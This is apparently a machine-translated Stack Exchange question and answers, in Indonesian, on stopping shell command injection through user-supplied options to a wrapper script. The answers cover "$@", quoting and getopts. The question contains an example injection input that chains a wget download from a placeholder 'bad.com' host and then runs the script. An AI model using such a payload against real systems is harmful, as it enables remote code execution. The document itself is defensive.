Bagaimana mencegah injeksi perintah melalui opsi perintah?

13

Saya memiliki aplikasi pembungkus di mana saya harus membiarkan pengguna menentukan opsi khusus untuk diteruskan ke simulator. Namun, saya ingin memastikan pengguna tidak menyuntikkan perintah lain melalui opsi pengguna. Apa cara terbaik untuk mencapai ini?

Sebagai contoh.

  • Pengguna menyediakan: -a -b
  • Aplikasi dijalankan: mysim --preset_opt -a -b

Namun, saya tidak ingin ini terjadi:

  • Pengguna menyediakan: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • Aplikasi dijalankan: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

Saat ini, saya berpikir bahwa saya dapat mengelilingi setiap pilihan yang disediakan pengguna dengan tanda kutip tunggal 'dan menghapus tanda kutip tunggal yang disediakan pengguna, sehingga perintah dalam contoh terakhir akan berubah menjadi tidak berbahaya:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

Catatan: mysimPerintah dijalankan sebagai bagian dari skrip shell dalam wadah buruh pelabuhan / lxc. Saya menjalankan Ubuntu.

Victor Lyuboslavsky
sumber
Apakah Anda menggunakan evaluntuk menjalankan aplikasi? Jika tidak, suntikan tidak boleh terjadi:x="&& echo Doomed" ; echo $x
choroba
1
Tidak, saya tidak menggunakan eval. Saya memanggil executable mysimdi dalam skrip shell. Saya melihat injeksi terjadi jika saya cukup menyalin serangkaian opsi yang disediakan pengguna dan menempelkannya di akhir mysimperintah.
Victor Lyuboslavsky
Apakah aplikasi pembungkus menyalin dan menempelkan serangkaian opsi?
choroba
Ya, opsi pengguna datang sebagai string tunggal, seperti -a -b. Jadi saya mencari untuk memastikan bahwa perintah tambahan tidak disuntikkan dalam string itu.
Victor Lyuboslavsky
1
bisakah kamu daftar putih? hanya membiarkan karakter [a-zA-Z0-9 _-]terlihat seperti pilihan yang cukup defensif.
Ulrich Schwarz

Jawaban:

6

Jika Anda memiliki kontrol atas program pembungkus, maka pastikan bahwa itu tidak memanggil subkulit. Jauh di lubuk hati, instruksi untuk menjalankan suatu program terdiri dari path lengkap (absolut atau relatif ke direktori saat ini) ke executable, dan daftar string untuk dilewati sebagai argumen. Pencarian PATH, argumen pemisah spasi putih, operator mengutip dan kontrol semua disediakan oleh shell. Tanpa cangkang, tanpa rasa sakit.

Misalnya, dengan bungkus Perl, gunakan formulir daftar execatau system. Dalam banyak bahasa, panggil salah satu execatau execXXXfungsi ( unix.execatau apa pun namanya) alih-alih system, atau os.spawndengan shell=False, atau apa pun.

Jika pembungkusnya adalah skrip shell, gunakan "$@"untuk meneruskan argumen, mis

#!/bin/sh
mysim -preset-opt "$@"

Jika Anda tidak punya pilihan dan program pembungkus memanggil shell, Anda harus mengutip argumen sebelum meneruskannya ke shell. Cara mudah untuk mengutip argumen adalah dengan melakukan hal berikut:

  1. Dalam setiap argumen, ganti setiap kemunculan '(kutipan tunggal) dengan string empat karakter '\''. (misalnya don'tmenjadi don'\''t)
  2. Tambahkan 'di awal setiap argumen dan juga di akhir setiap argumen. (misalnya dari don't, don'\''tmenjadi 'don'\''t')
  3. Menggabungkan hasil dengan ruang di antaranya.

Jika Anda perlu melakukan ini dalam pembungkus shell, inilah caranya.

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(Sayangnya, ${VAR//PATTERN/REPLACEMENT}konstruk bash , yang seharusnya berguna di sini, membutuhkan penawaran yang unik, dan saya rasa Anda tidak dapat memperolehnya '\''sebagai teks pengganti.)

Gilles 'SANGAT berhenti menjadi jahat'
sumber
1

Anda dapat menggunakan ${VAR//PATTERN/REPLACEMENT}idiom Bash untuk mengubah satu kutipan 'menjadi '\''dengan terlebih dahulu menempatkan '\''ke dalam variabel (sebagai langkah perantara) dan kemudian memperluas variabel ini sebagai REPLACEMENTelemen dalam idiom Bash yang disebutkan.

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}
yalo
sumber
0

Anda dapat menggunakan getoptsdi bashmana dapat mengurai argumen untuk Anda, misalnya:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
kenorb
sumber